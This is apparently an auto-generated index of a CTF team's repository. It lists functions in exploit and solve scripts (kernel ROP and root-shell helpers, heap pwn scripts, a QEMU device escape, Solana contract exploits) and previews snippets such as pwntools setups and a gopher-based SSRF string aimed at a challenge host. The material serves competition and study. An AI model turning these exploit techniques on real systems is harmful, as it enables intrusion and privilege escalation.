  type list_add_arg_t (line 45) | typedef struct _list_add_arg {
  function dump (line 62) | void dump(unsigned char *mem, int len) {
  function init_gadgets (line 89) | void init_gadgets() {
  function save_state (line 112) | static void save_state()
  function get_root_payload (line 126) | void get_root_payload(void)
  function get_shell (line 132) | void get_shell()
  function prepare_rop (line 140) | void prepare_rop(void) {
  function list_add (line 209) | void list_add (size_t size, void *ptr) {
  function list_head (line 225) | void list_head(void *ptr) {
  function list_remove (line 235) | void list_remove(int idx) {
  function list_select (line 244) | void list_select(int idx) {
  function getshell (line 311) | void getshell() {
  function exploit (line 362) | void exploit() {
  function main (line 423) | int main(void) {

FILE: 2018/xnuca-quals-2018/crypto/unconditional_security/solve.py
  function test (line 11) | def test(p, solved=None):
  function getp (line 36) | def getp(idx):

FILE: 2018/xnuca-quals-2018/crypto/warmup/Buggy_Server.py
  function get_enc_key (line 14) | def get_enc_key(BitLen, Phi):
  function sprint (line 21) | def sprint(message):
  function communicate (line 25) | def communicate():

FILE: 2018/xnuca-quals-2018/crypto/warmup/exp.py
  function ext_Euclid (line 35) | def ext_Euclid(n, m):

FILE: 2018/xnuca-quals-2018/pwn/0gadget/solve_0gadget.py
  function remark (line 7) | def remark(remark):
  function add (line 9) | def add(size,title,content,mark='add'):
  function delete (line 17) | def delete(index,mark='delete'):
  function deletee (line 21) | def deletee(index,mark='delete'):
  function show (line 25) | def show(index,mark='show'):

FILE: 2018/xnuca-quals-2018/pwn/gets/exp.py
  function attach (line 30) | def attach(addr):
  function migrate (line 35) | def migrate(buf):
  function sendpayload (line 40) | def sendpayload(payload):

FILE: 2018/xnuca-quals-2018/pwn/revenge/exp.py
  function attach (line 19) | def attach(addr):

FILE: 2018/xnuca-quals-2018/pwn/secretcenter/exp.py
  function attach (line 23) | def attach(addr):
  function input_secret (line 28) | def input_secret(secret, size):
  function delete_secret (line 33) | def delete_secret():
  function guard_ready (line 36) | def guard_ready():
  function set_guard (line 39) | def set_guard():
  function edit_secret (line 42) | def edit_secret(secret, size):
  function ttt (line 74) | def ttt(addr):

FILE: 2018/xnuca-quals-2018/pwn/ssd/solve.c
  function die (line 21) | void die(const char* msg)
  function hexdump (line 27) | void hexdump(uint8_t* mem, size_t len)
  function virt2phys (line 39) | uint64_t virt2phys(void* p)
  function iowrite (line 64) | void iowrite(uint64_t addr, uint64_t value)
  function ioread (line 69) | uint64_t ioread(uint64_t addr)
  function xnuca_auth (line 74) | void xnuca_auth()
  function xnuca_set_timer (line 89) | void xnuca_set_timer()
  function xnuca_read_state (line 94) | void xnuca_read_state() {
  function xnuca_read_authed (line 98) | void xnuca_read_authed() {
  function xnuca_alloc (line 102) | void xnuca_alloc(uint8_t idx, uint8_t size) {
  function xnuca_edit (line 108) | void xnuca_edit(uint8_t idx, uint8_t offset, uint64_t val) {
  function xnuca_free (line 116) | void xnuca_free(uint8_t idx) {
  function main (line 122) | int main(int argc, char *argv[])

FILE: 2018/xnuca-quals-2018/pwn/steak/exp.py
  function attach (line 21) | def attach(addr):
  function add (line 24) | def add(size, buf):
  function delete (line 32) | def delete(idx):
  function edit (line 38) | def edit(idx, size, buf):
  function copy (line 48) | def copy(src, dst, size):

FILE: 2018/xnuca-quals-2018/re/code_interpreter/emu.py
  function get_str (line 7) | def get_str(ins):

FILE: 2018/xnuca-quals-2018/re/renn/exp.py
  function re_sigmoid (line 12) | def re_sigmoid(a):

FILE: 2018/xnuca-quals-2018/re/renn/renn.py
  function get_input (line 5) | def get_input():
  function judge (line 11) | def judge(a, b):

FILE: 2022/darksol/solve1/exploit.py
  function get_account (line 20) | def get_account():
  function pda (line 24) | def pda(base_key, seed):

FILE: 2022/darksol/solve1/solana_helpers.py
  class OnCurveException (line 30) | class OnCurveException(Exception):
  class KeyError (line 32) | class KeyError(Exception):
  function create_program_address (line 35) | def create_program_address(seeds: List[bytes], program_id: bytes) -> bytes:
  function find_program_address (line 46) | def find_program_address(seeds: List[bytes], program_id: bytes) -> Tuple...
  function _inv (line 98) | def _inv(x):
  function _xrecover (line 106) | def _xrecover(y):
  function _isoncurve (line 116) | def _isoncurve(P):
  class NotOnCurve (line 122) | class NotOnCurve(Exception):
  function _decodepoint (line 126) | def _decodepoint(unclamped: int):
  function is_on_curve (line 138) | def is_on_curve(s: bytes) -> bool:

FILE: 2022/darksol/solve1/solution/src/solution/solution.c
  type CreatePlayerInstr (line 3) | typedef struct
  type BuyInstr (line 13) | typedef struct
  type SellInstr (line 20) | typedef struct
  type FightInstr (line 27) | typedef struct
  type Player (line 34) | typedef struct
  function initialize (line 68) | uint64_t initialize(SolParameters *params)
  function create_fake_player (line 119) | uint64_t create_fake_player(SolParameters *params)
  function fight (line 175) | uint64_t fight(SolParameters *params)
  function hacker (line 209) | uint64_t hacker(SolParameters *params)
  function entrypoint (line 220) | extern uint64_t entrypoint(const uint8_t *input)

FILE: 2022/darksol/solve2/exploit.py
  function get_account (line 20) | def get_account():
  function pda (line 24) | def pda(base_key, seed):

FILE: 2022/darksol/solve2/solana_helpers.py
  class OnCurveException (line 30) | class OnCurveException(Exception):
  class KeyError (line 32) | class KeyError(Exception):
  function create_program_address (line 35) | def create_program_address(seeds: List[bytes], program_id: bytes) -> bytes:
  function find_program_address (line 46) | def find_program_address(seeds: List[bytes], program_id: bytes) -> Tuple...
  function _inv (line 98) | def _inv(x):
  function _xrecover (line 106) | def _xrecover(y):
  function _isoncurve (line 116) | def _isoncurve(P):
  class NotOnCurve (line 122) | class NotOnCurve(Exception):
  function _decodepoint (line 126) | def _decodepoint(unclamped: int):
  function is_on_curve (line 138) | def is_on_curve(s: bytes) -> bool:

FILE: 2022/darksol/solve2/solution/src/solution/solution.c
  type CreatePlayerInstr (line 3) | typedef struct
  type BuyInstr (line 13) | typedef struct
  type SellInstr (line 20) | typedef struct
  type FightInstr (line 27) | typedef struct
  type Player (line 34) | typedef struct
  function create_player (line 68) | uint64_t create_player(SolParameters *params)
  function fight1337 (line 110) | uint64_t fight1337(SolParameters *params)
  function hacker (line 142) | uint64_t hacker(SolParameters *params)
  function entrypoint (line 152) | extern uint64_t entrypoint(const uint8_t *input)

FILE: 2022/darksol/solve3/exploit.py
  function get_account (line 20) | def get_account():
  function pda (line 24) | def pda(base_key, seed):

FILE: 2022/darksol/solve3/solana_helpers.py
  class OnCurveException (line 30) | class OnCurveException(Exception):
  class KeyError (line 32) | class KeyError(Exception):
  function create_program_address (line 35) | def create_program_address(seeds: List[bytes], program_id: bytes) -> bytes:
  function find_program_address (line 46) | def find_program_address(seeds: List[bytes], program_id: bytes) -> Tuple...
  function _inv (line 98) | def _inv(x):
  function _xrecover (line 106) | def _xrecover(y):
  function _isoncurve (line 116) | def _isoncurve(P):
  class NotOnCurve (line 122) | class NotOnCurve(Exception):
  function _decodepoint (line 126) | def _decodepoint(unclamped: int):
  function is_on_curve (line 138) | def is_on_curve(s: bytes) -> bool:

FILE: 2022/darksol/solve3/solution/src/solution/solution.c
  type CreatePlayerInstr (line 3) | typedef struct
  type BuyInstr (line 13) | typedef struct
  type SellInstr (line 20) | typedef struct
  type FightInstr (line 27) | typedef struct
  type Player (line 34) | typedef struct
  function create_player (line 68) | uint64_t create_player(SolParameters *params)
  function buy (line 112) | uint64_t buy(SolParameters *params)
  function fight1337 (line 148) | uint64_t fight1337(SolParameters *params)
  function fight_to_sanity_health (line 186) | uint64_t fight_to_sanity_health(SolParameters *params)
  function fight_to_sanity_mana (line 230) | uint64_t fight_to_sanity_mana(SolParameters *params)
  function get_1337 (line 266) | uint64_t get_1337(SolParameters *params)
  function hacker (line 302) | uint64_t hacker(SolParameters *params)
  function entrypoint (line 322) | extern uint64_t entrypoint(const uint8_t *input)

FILE: 2022/darksol/source/darksols/spl-token/inc/token.h
  type Token_AccountState (line 23) | enum Token_AccountState
  type Token_AccountState (line 44) | typedef uint8_t Token_AccountState;
  type Token_AuthorityType (line 50) | enum Token_AuthorityType
  type Token_AuthorityType (line 73) | typedef uint8_t Token_AuthorityType;
  type Token_COption_Pubkey_Tag (line 81) | typedef enum Token_COption_Pubkey_Tag {
  type Token_COption_Pubkey (line 92) | typedef struct Token_COption_Pubkey {
  type Token_TokenInstruction_Tag (line 104) | typedef enum Token_TokenInstruction_Tag {
  type Token_TokenInstruction_Token_InitializeMint_Body (line 432) | typedef struct Token_TokenInstruction_Token_InitializeMint_Body {
  type Token_TokenInstruction_Token_InitializeMultisig_Body (line 447) | typedef struct Token_TokenInstruction_Token_InitializeMultisig_Body {
  type Token_TokenInstruction_Token_Transfer_Body (line 455) | typedef struct Token_TokenInstruction_Token_Transfer_Body {
  type Token_TokenInstruction_Token_Approve_Body (line 462) | typedef struct Token_TokenInstruction_Token_Approve_Body {
  type Token_TokenInstruction_Token_SetAuthority_Body (line 469) | typedef struct Token_TokenInstruction_Token_SetAuthority_Body {
  type Token_TokenInstruction_Token_MintTo_Body (line 480) | typedef struct Token_TokenInstruction_Token_MintTo_Body {
  type Token_TokenInstruction_Token_Burn_Body (line 487) | typedef struct Token_TokenInstruction_Token_Burn_Body {
  type Token_TokenInstruction_Token_TransferChecked_Body (line 494) | typedef struct Token_TokenInstruction_Token_TransferChecked_Body {
  type Token_TokenInstruction_Token_ApproveChecked_Body (line 505) | typedef struct Token_TokenInstruction_Token_ApproveChecked_Body {
  type Token_TokenInstruction_Token_MintToChecked_Body (line 516) | typedef struct Token_TokenInstruction_Token_MintToChecked_Body {
  type Token_TokenInstruction_Token_BurnChecked_Body (line 527) | typedef struct Token_TokenInstruction_Token_BurnChecked_Body {
  type Token_TokenInstruction_Token_InitializeAccount2_Body (line 538) | typedef struct Token_TokenInstruction_Token_InitializeAccount2_Body {
  type Token_TokenInstruction (line 545) | typedef struct Token_TokenInstruction {
  type Token_Mint (line 566) | typedef struct Token_Mint {
  type Token_COption_u64_Tag (line 594) | typedef enum Token_COption_u64_Tag {
  type Token_COption_u64 (line 605) | typedef struct Token_COption_u64 {
  type Token_Account (line 617) | typedef struct Token_Account {
  type Token_Multisig (line 658) | typedef struct Token_Multisig {

FILE: 2022/darksol/source/darksols/spl-token/src/entrypoint.rs
  function process_instruction (line 10) | fn process_instruction(

FILE: 2022/darksol/source/darksols/spl-token/src/error.rs
  type TokenError (line 9) | pub enum TokenError {
    method type_of (line 74) | fn type_of() -> &'static str {
  method from (line 69) | fn from(e: TokenError) -> Self {

FILE: 2022/darksol/source/darksols/spl-token/src/instruction.rs
  constant MIN_SIGNERS (line 15) | pub const MIN_SIGNERS: usize = 1;
  constant MAX_SIGNERS (line 17) | pub const MAX_SIGNERS: usize = 11;
  type TokenInstruction (line 22) | pub enum TokenInstruction {
    method unpack (line 369) | pub fn unpack(input: &[u8]) -> Result<Self, ProgramError> {
    method pack (line 473) | pub fn pack(&self) -> Vec<u8> {
    method unpack_pubkey (line 547) | fn unpack_pubkey(input: &[u8]) -> Result<(Pubkey, &[u8]), ProgramError> {
    method unpack_pubkey_option (line 557) | fn unpack_pubkey_option(input: &[u8]) -> Result<(COption<Pubkey>, &[u8...
    method pack_pubkey_option (line 569) | fn pack_pubkey_option(value: &COption<Pubkey>, buf: &mut Vec<u8>) {
  type AuthorityType (line 583) | pub enum AuthorityType {
    method into (line 595) | fn into(&self) -> u8 {
    method from (line 604) | fn from(index: u8) -> Result<Self, ProgramError> {
  function initialize_mint (line 616) | pub fn initialize_mint(
  function initialize_account (line 644) | pub fn initialize_account(
  function initialize_account2 (line 667) | pub fn initialize_account2(
  function initialize_multisig (line 692) | pub fn initialize_multisig(
  function transfer (line 721) | pub fn transfer(
  function approve (line 750) | pub fn approve(
  function revoke (line 779) | pub fn revoke(
  function set_authority (line 805) | pub fn set_authority(
  function mint_to (line 838) | pub fn mint_to(
  function burn (line 867) | pub fn burn(
  function close_account (line 896) | pub fn close_account(
  function freeze_account (line 924) | pub fn freeze_account(
  function thaw_account (line 952) | pub fn thaw_account(
  function transfer_checked (line 981) | pub fn transfer_checked(
  function approve_checked (line 1014) | pub fn approve_checked(
  function mint_to_checked (line 1046) | pub fn mint_to_checked(
  function burn_checked (line 1076) | pub fn burn_checked(
  function is_valid_signer_index (line 1106) | pub fn is_valid_signer_index(index: usize) -> bool {
  function test_instruction_packing (line 1115) | fn test_instruction_packing() {

FILE: 2022/darksol/source/darksols/spl-token/src/lib.rs
  function ui_amount_to_amount (line 20) | pub fn ui_amount_to_amount(ui_amount: f64, decimals: u8) -> u64 {
  function amount_to_ui_amount (line 25) | pub fn amount_to_ui_amount(amount: u64, decimals: u8) -> f64 {

FILE: 2022/darksol/source/darksols/spl-token/src/native_mint.rs
  constant DECIMALS (line 4) | pub const DECIMALS: u8 = 9;
  function test_decimals (line 15) | fn test_decimals() {

FILE: 2022/darksol/source/darksols/spl-token/src/processor.rs
  type Processor (line 22) | pub struct Processor {}
    method process_initialize_mint (line 25) | pub fn process_initialize_mint(
    method _process_initialize_account (line 55) | fn _process_initialize_account(
    method process_initialize_account (line 107) | pub fn process_initialize_account(accounts: &[AccountInfo]) -> Program...
    method process_initialize_account2 (line 112) | pub fn process_initialize_account2(accounts: &[AccountInfo], owner: Pu...
    method process_initialize_multisig (line 117) | pub fn process_initialize_multisig(accounts: &[AccountInfo], m: u8) ->...
    method process_transfer (line 152) | pub fn process_transfer(
    method process_approve (line 260) | pub fn process_approve(
    method process_revoke (line 310) | pub fn process_revoke(program_id: &Pubkey, accounts: &[AccountInfo]) -...
    method process_set_authority (line 338) | pub fn process_set_authority(
    method process_mint_to (line 429) | pub fn process_mint_to(
    method process_burn (line 486) | pub fn process_burn(
    method process_close_account (line 564) | pub fn process_close_account(program_id: &Pubkey, accounts: &[AccountI...
    method process_toggle_freeze_account (line 600) | pub fn process_toggle_freeze_account(
    method process (line 644) | pub fn process(program_id: &Pubkey, accounts: &[AccountInfo], input: &...
    method validate_owner (line 727) | pub fn validate_owner(
  method print (line 765) | fn print<E>(&self)
  function do_process_instruction (line 816) | fn do_process_instruction(
  function do_process_instruction_dups (line 831) | fn do_process_instruction_dups(
  function return_token_error_as_program_error (line 838) | fn return_token_error_as_program_error() -> ProgramError {
  function rent_sysvar (line 842) | fn rent_sysvar() -> SolanaAccount {
  function mint_minimum_balance (line 846) | fn mint_minimum_balance() -> u64 {
  function account_minimum_balance (line 850) | fn account_minimum_balance() -> u64 {
  function multisig_minimum_balance (line 854) | fn multisig_minimum_balance() -> u64 {
  function test_print_error (line 859) | fn test_print_error() {
  function test_error_unwrap (line 866) | fn test_error_unwrap() {
  function test_unique_account_sizes (line 871) | fn test_unique_account_sizes() {
  function test_pack_unpack (line 881) | fn test_pack_unpack() {
  function test_initialize_mint (line 986) | fn test_initialize_mint() {
  function test_initialize_mint_account (line 1034) | fn test_initialize_mint_account() {
  function test_transfer_dups (line 1110) | fn test_transfer_dups() {
  function test_transfer (line 1417) | fn test_transfer() {
  function test_self_transfer (line 1838) | fn test_self_transfer() {
  function test_mintable_token_with_zero_supply (line 2368) | fn test_mintable_token_with_zero_supply() {
  function test_approve_dups (line 2467) | fn test_approve_dups() {
  function test_approve (line 2678) | fn test_approve() {
  function test_set_authority_dups (line 2883) | fn test_set_authority_dups() {
  function test_set_authority (line 2986) | fn test_set_authority() {
  function test_mint_to_dups (line 3325) | fn test_mint_to_dups() {
  function test_mint_to (line 3421) | fn test_mint_to() {
  function test_burn_dups (line 3624) | fn test_burn_dups() {
  function test_burn (line 3824) | fn test_burn() {
  function test_multisig (line 4089) | fn test_multisig() {
  function test_validate_owner (line 4493) | fn test_validate_owner() {
  function test_close_account_dups (line 4653) | fn test_close_account_dups() {
  function test_close_account (line 4739) | fn test_close_account() {
  function test_native_token (line 4968) | fn test_native_token() {
  function test_overflow (line 5145) | fn test_overflow() {
  function test_frozen (line 5322) | fn test_frozen() {
  function test_freeze_thaw_dups (line 5508) | fn test_freeze_thaw_dups() {
  function test_freeze_account (line 5572) | fn test_freeze_account() {
  function test_initialize_account2 (line 5685) | fn test_initialize_account2() {

FILE: 2022/darksol/source/darksols/spl-token/src/state.rs
  type Mint (line 16) | pub struct Mint {
  method is_initialized (line 32) | fn is_initialized(&self) -> bool {
  constant LEN (line 37) | const LEN: usize = 82;
  method unpack_from_slice (line 38) | fn unpack_from_slice(src: &[u8]) -> Result<Self, ProgramError> {
  method pack_into_slice (line 59) | fn pack_into_slice(&self, dst: &mut [u8]) {
  type Account (line 86) | pub struct Account {
    method is_frozen (line 109) | pub fn is_frozen(&self) -> bool {
    method is_native (line 113) | pub fn is_native(&self) -> bool {
  method is_initialized (line 119) | fn is_initialized(&self) -> bool {
  constant LEN (line 124) | const LEN: usize = 165;
  method unpack_from_slice (line 125) | fn unpack_from_slice(src: &[u8]) -> Result<Self, ProgramError> {
  method pack_into_slice (line 141) | fn pack_into_slice(&self, dst: &mut [u8]) {
  type AccountState (line 177) | pub enum AccountState {
  method default (line 189) | fn default() -> Self {
  type Multisig (line 197) | pub struct Multisig {
  method is_initialized (line 209) | fn is_initialized(&self) -> bool {
  constant LEN (line 214) | const LEN: usize = 355;
  method unpack_from_slice (line 215) | fn unpack_from_slice(src: &[u8]) -> Result<Self, ProgramError> {
  method pack_into_slice (line 234) | fn pack_into_slice(&self, dst: &mut [u8]) {
  function pack_coption_key (line 249) | fn pack_coption_key(src: &COption<Pubkey>, dst: &mut [u8; 36]) {
  function unpack_coption_key (line 261) | fn unpack_coption_key(src: &[u8; 36]) -> Result<COption<Pubkey>, Program...
  function pack_coption_u64 (line 269) | fn pack_coption_u64(src: &COption<u64>, dst: &mut [u8; 12]) {
  function unpack_coption_u64 (line 281) | fn unpack_coption_u64(src: &[u8; 12]) -> Result<COption<u64>, ProgramErr...

FILE: 2022/darksol/source/darksols/src/main.rs
  type InitializeInstruction (line 36) | pub struct InitializeInstruction {
  function main (line 43) | fn main() -> Result<(), Box<dyn Error>> {
  function handle_connection (line 58) | fn handle_connection(mut socket: TcpStream) -> Result<(), Box<dyn Error>> {

FILE: 2022/darksol/source/evil-contract/src/evil-contract/evil-contract.c
  function handle (line 21) | uint64_t handle(SolParameters *params) {
  function entrypoint (line 52) | extern uint64_t entrypoint(const uint8_t *input) {

FILE: 2022/darksol/source/evil-contract/src/shared/clock.h
  type Clock (line 1) | typedef struct {

FILE: 2022/darksol/source/evil-contract/src/shared/program.h
  type transfer (line 1) | typedef struct {

FILE: 2022/darksol/source/evil-contract/src/shared/test.h
  function itoa (line 4) | void itoa(uint64_t x, char* buf, uint64_t base) {
  function log_int (line 27) | void log_int(uint64_t x, uint64_t base) {
  function b58enc (line 35) | bool b58enc(char *b58, size_t *b58sz, const void *data, size_t binsz) {
  function log_pubkey (line 80) | void log_pubkey(const SolPubkey* pubkey) {
  function strncmp (line 84) | bool strncmp(char* a, char* b, size_t len) {
  function strcmp (line 92) | bool strcmp(char* a, char* b) {
  function str_contains (line 96) | bool str_contains(char* src, char* target) {
  function is_system_program (line 104) | bool is_system_program(SolPubkey* pubkey) {

FILE: 2022/darksol/source/programs/src/darksols/darksols.c
  function check_owner (line 4) | void check_owner(SolParameters* params, SolAccountInfo* acct) {
  function handle_initialize (line 19) | uint64_t handle_initialize(SolParameters* params) {
  function handle_buy (line 69) | uint64_t handle_buy(SolParameters* params) {
  function handle_sell (line 158) | uint64_t handle_sell(SolParameters* params) {
  function handle_fight (line 244) | uint64_t handle_fight(SolParameters* params){
  function handle_create_player (line 325) | uint64_t handle_create_player(SolParameters* params){
  function dark_sols (line 375) | uint64_t dark_sols(SolParameters *params) {
  function entrypoint (line 421) | extern uint64_t entrypoint(const uint8_t *input) {

FILE: 2022/darksol/source/programs/src/shared/clock.h
  type Clock (line 1) | typedef struct {

FILE: 2022/darksol/source/programs/src/shared/program.h
  type CreatePlayerInstr (line 18) | typedef struct {
  type BuyInstr (line 27) | typedef struct {
  type SellInstr (line 33) | typedef struct {
  type FightInstr (line 39) | typedef struct {
  type create_account_sys (line 45) | typedef struct {
  type transfer_generic (line 51) | typedef struct {
  type transfer_checked (line 55) | typedef struct {
  type Sanity (line 60) | typedef struct {
  type Op (line 64) | typedef enum {
  type AccountState (line 72) | typedef enum {
  type Account (line 78) | typedef struct {
  type Mint (line 89) | typedef struct {
  type Player (line 97) | typedef struct {
  type Weapon (line 103) | typedef struct {
  type Weapons (line 109) | typedef struct {
  type Monster (line 113) | typedef struct {
  function create_account (line 118) | void create_account(
  function create_sanity_account (line 155) | void create_sanity_account(SolParameters* params, SolAccountInfo* payer,...
  function create_player_account (line 161) | void create_player_account(SolParameters* params, SolAccountInfo* payer,...
  function create_weapons_account (line 167) | void create_weapons_account(SolParameters* params, SolAccountInfo* payer...
  function create_player_token_account (line 173) | void create_player_token_account(
  function transfer (line 185) | void transfer(SolParameters* params, SolAccountInfo* payer, SolAccountIn...
  function mint_to (line 216) | void mint_to(SolParameters* params, SolAccountInfo* mint, SolAccountInfo...
  function initialize_account (line 244) | void initialize_account(SolParameters* params, SolAccountInfo* mint, Sol...

FILE: 2022/darksol/source/programs/src/shared/test.h
  function itoa (line 4) | void itoa(uint64_t x, char* buf, uint64_t base) {
  function log_int (line 27) | void log_int(uint64_t x, uint64_t base) {
  function b58enc (line 35) | bool b58enc(char *b58, size_t *b58sz, const void *data, size_t binsz) {
  function log_pubkey (line 80) | void log_pubkey(const SolPubkey* pubkey) {
  function strncmp (line 84) | bool strncmp(char* a, char* b, size_t len) {
  function strcmp (line 92) | bool strcmp(char* a, char* b) {
  function str_contains (line 96) | bool str_contains(char* src, char* target) {
  function is_system_program (line 104) | bool is_system_program(SolPubkey* pubkey) {
Condensed preview — 3432 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (6,138K chars).
[
  {
    "path": ".gitattributes",
    "chars": 56,
    "preview": "baby_neural_network filter=lfs diff=lfs merge=lfs -text\n"
  },
  {
    "path": ".gitignore",
    "chars": 41,
    "preview": ".DS_Store\n*.pyc\n.gdb_history\n__pycache__\n"
  },
  {
    "path": ".gitmodules",
    "chars": 231,
    "preview": "[submodule \"2019\"]\n\tpath = 2019\n\turl = https://github.com/0ops/ctfs-2019.git\n[submodule \"2020\"]\n\tpath = 2020\n\turl = http"
  },
  {
    "path": "2017/0ctf-quals-2017/StarCraft/StarCraft_remote.py",
    "chars": 2495,
    "preview": "#!/usr/bin/env python\n# coding=utf-8\n\nfrom pwn import *\nfrom pwnlib.log import *\n\nport = 12321\nservice = 'StarCraft'\ntim"
  },
  {
    "path": "2017/34c3-2017/web/blog/cli.py",
    "chars": 2276,
    "preview": "import requests\nfrom saker.main import Saker\n\n\nclass Blog(Saker):\n\n    def __init__(self, url=\"\"):\n        super(Blog, s"
  },
  {
    "path": "2017/34c3-2017/web/extract/index.py",
    "chars": 2051,
    "preview": "import requests\nfrom urllib import quote\nfrom urllib import unquote\n\nurl = \"http://35.198.175.71/?url=\"\n\ncsrf = \"gopher:"
  },
  {
    "path": "2017/blizzard-2017/strng/README.md",
    "chars": 90,
    "preview": "[Chall](https://github.com/rcvalle/blizzardctf2017/releases/download/v0.0.1/strng.tar.gz)\n"
  },
  {
    "path": "2017/blizzard-2017/strng/solve.c",
    "chars": 2401,
    "preview": "/* \n * author: luckasdf0\n * build: gcc ./solve.c\n */\n\n#define _GNU_SOURCE\n#include <stdio.h>\n#include <unistd.h>\n#includ"
  },
  {
    "path": "2017/csaw-quals-2017/pwn/auir/auir.py",
    "chars": 1969,
    "preview": "\nimport sys\nfrom pwn import *\n\n__author__ = 'b1gtang\n'\n#context.log_level = 'info'\ncontext.log_level = 'debug'\ncontext.t"
  },
  {
    "path": "2017/csaw-quals-2017/pwn/pilot/solve_pilot.py",
    "chars": 440,
    "preview": "from pwn import *\ncontext(os='linux',arch='amd64',log_level='debug')\np=process('./pilot')\n#p=remote('pwn.chal.csaw.io',8"
  },
  {
    "path": "2017/csaw-quals-2017/pwn/scv/scv.py",
    "chars": 1459,
    "preview": "import os\nimport sys\nfrom pwn import *\n\n__author__ = 'b1gtang'\n\ncontext.log_level = 'info'\n# context.log_level = 'debug'"
  },
  {
    "path": "2017/hacklu-2017/pwn/mult-o-flow/solve_mult-o-flow.py",
    "chars": 648,
    "preview": "#!/usr/bin/python\nfrom pwn import *\np=process('./mult-o-flow')\n#p = remote('flatearth.fluxfingers.net', 1746)\ncontext(ar"
  },
  {
    "path": "2017/tuctf-2017/pwn/guestbook/solve_guestbook.py",
    "chars": 1384,
    "preview": "from pwn import *\ncontext(log_level='debug',arch='i386')\np=process(\"./guestbook\")#,env={\"LD_PRELOAD\":\"./libc.so.6\"})#,as"
  },
  {
    "path": "2018/0ctf-final-2018/pwn/blackhole2/solve_blackhole2.py",
    "chars": 4623,
    "preview": "from  pwn import *\nimport random, string, subprocess, os, sys\nfrom hashlib import sha256\nimport time\ndicti='asdfghjklqwe"
  },
  {
    "path": "2018/0ctf-final-2018/pwn/zeroftp/Makefile",
    "chars": 298,
    "preview": "CC = gcc\nCFLAG = -g -D_FORTIFY_SOURCE=2 -w -D ZEROFS -D SHELL -D PWN\nLDFLAG = -z now\nPROG = zeroftp zero_pack md5 zero_u"
  },
  {
    "path": "2018/0ctf-final-2018/pwn/zeroftp/README.md",
    "chars": 9086,
    "preview": "# VTP1 & VTP2 Writeup\n\nVTP means vulnerable transfer protocol. It contains a private protocol implementing part of FTP c"
  },
  {
    "path": "2018/0ctf-final-2018/pwn/zeroftp/crc32.c",
    "chars": 5425,
    "preview": "/*----------------------------------------------------------------------------*\\\n *  CRC-32 version 2.0.0 by Craig Bruce"
  },
  {
    "path": "2018/0ctf-final-2018/pwn/zeroftp/crc32.h",
    "chars": 198,
    "preview": "#ifndef CRC32_H_\n#define CRC32_H_\n\n#include <stdio.h>\n#include <stdlib.h>\n\n#define CRC_BUFFER_SIZE  8192\n\nunsigned long "
  },
  {
    "path": "2018/0ctf-final-2018/pwn/zeroftp/enc_sock.c",
    "chars": 2941,
    "preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <unistd.h>\n#include <sys/socket.h>\n#include <sys/typ"
  },
  {
    "path": "2018/0ctf-final-2018/pwn/zeroftp/enc_sock.h",
    "chars": 729,
    "preview": "/*************************************************************************\n\t> File Name: enc_sock.h\n\t> Author: \n\t> Mail:"
  },
  {
    "path": "2018/0ctf-final-2018/pwn/zeroftp/exp.py",
    "chars": 13170,
    "preview": "#!/usr/bin/env python\n# encoding: utf-8\n\n__author__  = 'b1gtang'\n\nfrom pwn import *\n\ncontext.terminal = ['tmux', 'splitw"
  },
  {
    "path": "2018/0ctf-final-2018/pwn/zeroftp/md5.c",
    "chars": 4472,
    "preview": "/*\n * Simple MD5 implementation\n *\n * Compile with: gcc -o md5 md5.c\n */\n#include <stdio.h>\n#include <stdlib.h>\n#include"
  },
  {
    "path": "2018/0ctf-final-2018/pwn/zeroftp/md5.h",
    "chars": 112,
    "preview": "#ifndef MD5_H\n#define MD5_H\n\nvoid md5(const uint8_t *initial_msg, size_t initial_len, uint8_t *digest);\n\n#endif\n"
  },
  {
    "path": "2018/0ctf-final-2018/pwn/zeroftp/release/exp.py",
    "chars": 13540,
    "preview": "#!/usr/bin/env python\n# encoding: utf-8\n\n__author__  = 'b1gtang'\n\nfrom pwn import *\nfrom time import sleep\n\ncontext.term"
  },
  {
    "path": "2018/0ctf-final-2018/pwn/zeroftp/utils.py",
    "chars": 11510,
    "preview": "#!/usr/bin/env python\n# coding=utf-8\n\nfrom pwn import u32, p32, crc, log, md5sum, pack, unpack, remote, process,context\n"
  },
  {
    "path": "2018/0ctf-final-2018/pwn/zeroftp/zero_pack.c",
    "chars": 26032,
    "preview": "#include \"zero_pack.h\"\n#include \"zero_utils.h\"\n#include <string.h>\n#include <stdint.h>\n#include <stdio.h>\n\n//#define DEB"
  },
  {
    "path": "2018/0ctf-final-2018/pwn/zeroftp/zero_pack.h",
    "chars": 1903,
    "preview": "#ifndef ZERO_PACK_H\n#define ZERO_PACK_H\n\n#include <stdint.h>\n#include <stdlib.h>\n\nenum zero_basic_type {\n    ZERO_BOOL ="
  },
  {
    "path": "2018/0ctf-final-2018/pwn/zeroftp/zero_proto.h",
    "chars": 368,
    "preview": "#ifndef ZERO_PROTO_H\n#define ZERO_PROTO_H\n\n#define ZERO_MAGIC 0xdd\n#define ZERO_MAGIC_LEN 1\n\nenum zeroftp_cmd_type {\n   "
  },
  {
    "path": "2018/0ctf-final-2018/pwn/zeroftp/zero_utils.c",
    "chars": 664,
    "preview": "#include <stdio.h>\n#include <unistd.h>\n\nvoid zero_hexdump(unsigned char *mem, int len) {\n    int i = 0;\n    int j = 0;\n "
  },
  {
    "path": "2018/0ctf-final-2018/pwn/zeroftp/zero_utils.h",
    "chars": 706,
    "preview": "#ifndef ZERO_UTILS_H\n#define ZERO_UTILS_H\n\n#include <stdint.h>\n#include <stdlib.h>\n\n#define BITS(byte, start, end) ((byt"
  },
  {
    "path": "2018/0ctf-final-2018/pwn/zeroftp/zerofs.c",
    "chars": 26126,
    "preview": "/*************************************************************************\n\t> File Name: zerofs.c\n\t> Author:\n\t> Mail:\n\t>"
  },
  {
    "path": "2018/0ctf-final-2018/pwn/zeroftp/zerofs.h",
    "chars": 2668,
    "preview": "/*************************************************************************\n\t> File Name: zerofs.h\n\t> Author:\n\t> Mail:\n\t>"
  },
  {
    "path": "2018/0ctf-final-2018/pwn/zeroftp/zeroftp.c",
    "chars": 39389,
    "preview": "#include <stdio.h>\n#include <stdint.h>\n#include <unistd.h>\n#include <arpa/inet.h>\n#include <sys/types.h>\n#include <sys/s"
  },
  {
    "path": "2018/0ctf-final-2018/pwn/zeroftp/zeroftp.h",
    "chars": 44,
    "preview": "#ifndef ZEROFTP_H\n#define ZEROFTP_H\n\n#endif\n"
  },
  {
    "path": "2018/0ctf-quals-2018/pwn/babyheap/solve_babyheap.py",
